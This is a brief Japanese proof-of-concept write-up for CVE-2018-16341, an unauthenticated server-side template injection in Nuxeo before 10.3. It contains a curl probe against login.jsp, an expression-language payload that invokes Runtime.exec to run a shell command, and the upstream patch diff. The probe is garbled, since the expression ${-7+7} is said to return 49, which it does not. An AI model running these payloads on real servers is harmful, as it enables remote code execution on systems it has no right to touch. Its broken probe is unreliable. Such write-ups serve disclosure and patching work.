CVE-2018-16341

SSTIを使用したNuxeo認証バイパスリモートコード実行 < 10.3 - CVE-2018-16341

詳細な分析（英語以外）:

セキュリティアドバイザリ:

https://github.com/nuxeo/nuxeo/commit/eb54a9145c6d8297eba9d7dafc74556e735fa388#diff-cf2094833ef0eea473d03bf6559f1798R97

注記: Nuxeo 9.xはNuxeoによるサポートが終了しましたが、9.x向けのホットフィックスが提供されています。私の環境では、バージョン9.10が脆弱でした。

脆弱性

このPoCは、NuxeoUnknownResource.javaファイルに存在するRCEを達成するために、サーバーサイドテンプレートインジェクション（SSTI）を悪用します。

Nuxeoが脆弱かどうかを確認するには、このペイロードを送信して、49 という数字を確認するだけです:

curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"

このペイロードを使用してRCEを取得します:

${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}

修正

@@ -94,8 +92,13 @@ public void connect() throws IOException {
 
             @Override
             public InputStream getInputStream() throws IOException {
+                String message = "ERROR: facelet not found";
+                // NXP-25746
+                if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+                    message += " at '" + path + "'";
+                }
                 String msg = "<span><span style=\"color:red;font-weight:bold;\">"
-                        + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+                        + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
                 return new ByteArrayInputStream(msg.getBytes());
             }
         }

CVE-2018-16341

人気

CVE-2018-16341

脆弱性